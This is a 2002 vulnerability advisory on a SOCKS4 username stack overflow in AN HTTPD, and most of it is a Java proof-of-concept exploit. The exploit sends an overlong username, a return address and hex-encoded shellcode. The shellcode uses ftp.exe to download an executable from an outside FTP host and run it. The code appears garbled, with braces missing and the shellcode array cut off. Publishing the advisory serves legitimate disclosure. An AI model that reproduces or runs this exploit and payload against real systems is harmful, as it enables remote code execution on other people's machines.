AN HTTPD SOCKS4 username Buffer Overflow Vulnerability

From: Kanatoko (
Date: 10/20/02

Date: Mon, 21 Oct 2002 01:38:15 +0900
From: Kanatoko <>

Advisory Information
Vendor Homepage :
Platforms : Windows9x/Me/NT/2000/XP
Vulnerability Type : stack overflow( very easy to exploit )
Vendor Contacted : 17/10/2002
Vendor Replied : 20/10/2002
Vulnerable Versions : 1.30 to 1.41c
Non affected version : 1.41d

AN HTTPD is a Japanese multi purpose server software.
It can work as a SOCKS4 server.

We found an exploitable buffer overflow problem in AN HTTPD Version 1.41c.
Sending a SOCKS4 request with long username cause a buffer overflow. This
vulnerability allows a remote attacker to execute arbitary code on the
 target host.

Proof of Concept


 AN HTTPD Version 1.41c SOCKS4 username buffer overflow exploit
  for Japanese Windows 2000 Pro (SP2)

 written by Kanatoko <>



public class anhttpd141c_exploit
private static final int SOCKS_PORT = 1080;

private String targetHost;
public static void main( String[] args )
throws Exception
if( args.length != 1 )
        System.out.println( "Usage: java anhttpd141c_exploit TARGETHOST( or IP )" );
anhttpd141c_exploit instance = new anhttpd141c_exploit( args[ 0 ] );
public anhttpd141c_exploit( String IN_targetHost )
throws Exception
targetHost = IN_targetHost;
private void doIt()
throws Exception
Socket socket = new Socket( targetHost, SOCKS_PORT );
OutputStream os = socket.getOutputStream();

byte[] socks4_request = {
(byte)0x04, (byte)0x01, (byte)0x00, (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x01

        // egg: download and start installing Netscape4.79 :)
byte[] egg = {
(byte)0x55, (byte)0x8B, (byte)0xEC, (byte)0x53, (byte)0xEB, (byte)0x57, (byte)0x90, (byte)0x90,
(byte)0x90, (byte)0x5B, (byte)0x33, (byte)0xC0, (byte)0x88, (byte)0x63, (byte)0x01, (byte)0x88,
(byte)0x63, (byte)0x03, (byte)0x83, (byte)0xC3, (byte)0x68, (byte)0x88, (byte)0x23, (byte)0x88,
(byte)0x63, (byte)0x21, (byte)0x88, (byte)0x63, (byte)0x2E, (byte)0x83, (byte)0xEB, (byte)0x68,
(byte)0x53, (byte)0x83, (byte)0xC3, (byte)0x02, (byte)0x53, (byte)0xB9, (byte)0xC2, (byte)0x1B,
(byte)0x02, (byte)0x78, (byte)0xFF, (byte)0xD1, (byte)0x50, (byte)0x83, (byte)0xC3, (byte)0x02,
(byte)0x53, (byte)0xB9, (byte)0x8B, (byte)0x38, (byte)0x02, (byte)0x78, (byte)0xFF, (byte)0xD1,
(byte)0x59, (byte)0xB9, (byte)0xB8, (byte)0x0E, (byte)0x01, (byte)0x78, (byte)0xFF, (byte)0xD1,
(byte)0x83, (byte)0xC3, (byte)0x65, (byte)0x53, (byte)0xB9, (byte)0x4A, (byte)0x9B, (byte)0x01,
(byte)0x78, (byte)0xFF, (byte)0xD1, (byte)0x83, (byte)0xC3, (byte)0x21, (byte)0x53, (byte)0xB9,
(byte)0x4A, (byte)0x9B, (byte)0x01, (byte)0x78, (byte)0xFF, (byte)0xD1, (byte)0xB8, (byte)0x94,
(byte)0x8F, (byte)0xE6, (byte)0x77, (byte)0xFF, (byte)0xD0, (byte)0xE8, (byte)0xA7, (byte)0xFF,
(byte)0xFF, (byte)0xFF, (byte)0x77, (byte)0x58, (byte)0x71, (byte)0x58, (byte)0x62, (byte)0x69,
(byte)0x6E, (byte)0x61, (byte)0x72, (byte)0x79, (byte)0x0A, (byte)0x67, (byte)0x65, (byte)0x74,
(byte)0x20, (byte)0x2F, (byte)0x70, (byte)0x75, (byte)0x62, (byte)0x2F, (byte)0x63, (byte)0x6F,
(byte)0x6D, (byte)0x6D, (byte)0x75, (byte)0x6E, (byte)0x69, (byte)0x63, (byte)0x61, (byte)0x74,
(byte)0x6F, (byte)0x72, (byte)0x2F, (byte)0x65, (byte)0x6E, (byte)0x67, (byte)0x6C, (byte)0x69,
(byte)0x73, (byte)0x68, (byte)0x2F, (byte)0x34, (byte)0x2E, (byte)0x37, (byte)0x39, (byte)0x2F,
(byte)0x77, (byte)0x69, (byte)0x6E, (byte)0x64, (byte)0x6F, (byte)0x77, (byte)0x73, (byte)0x2F,
(byte)0x77, (byte)0x69, (byte)0x6E, (byte)0x64, (byte)0x6F, (byte)0x77, (byte)0x73, (byte)0x39,
(byte)0x35, (byte)0x5F, (byte)0x6F, (byte)0x72, (byte)0x5F, (byte)0x6E, (byte)0x74, (byte)0x2F,
(byte)0x63, (byte)0x6F, (byte)0x6D, (byte)0x70, (byte)0x6C, (byte)0x65, (byte)0x74, (byte)0x65,
(byte)0x5F, (byte)0x69, (byte)0x6E, (byte)0x73, (byte)0x74, (byte)0x61, (byte)0x6C, (byte)0x6C,
(byte)0x2F, (byte)0x63, (byte)0x63, (byte)0x33, (byte)0x32, (byte)0x64, (byte)0x34, (byte)0x37,
(byte)0x39, (byte)0x2E, (byte)0x65, (byte)0x78, (byte)0x65, (byte)0x0A, (byte)0x71, (byte)0x75,
(byte)0x69, (byte)0x74, (byte)0x58, (byte)0x66, (byte)0x74, (byte)0x70, (byte)0x2E, (byte)0x65,
(byte)0x78, (byte)0x65, (byte)0x20, (byte)0x2D, (byte)0x73, (byte)0x3A, (byte)0x71, (byte)0x20,
(byte)0x2D, (byte)0x41, (byte)0x20, (byte)0x66, (byte)0x74, (byte)0x70, (byte)0x2E, (byte)0x6E,
(byte)0x65, (byte)0x74, (byte)0x73, (byte)0x63, (byte)0x61, (byte)0x70, (byte)0x65, (byte)0x2E,
(byte)0x63, (byte)0x6F, (byte)0x6D, (byte)0x58, (byte)0x63, (byte)0x63, (byte)0x33, (byte)0x32,
(byte)0x64, (byte)0x34, (byte)0x37, (byte)0x39, (byte)0x2E, (byte)0x65, (byte)0x78, (byte)0x65,

byte[] jmp_esp = {
(byte)0x02, (byte)0x4E, (byte)0x02, (byte)0x78

os.write( socks4_request );

        //where is memset? :0
for( int i = 0; i < 1020; ++i )
        os.write( (byte)0x41 );

os.write( jmp_esp );
os.write( egg );
os.write( (byte)0x00 );

Kanatoko  <>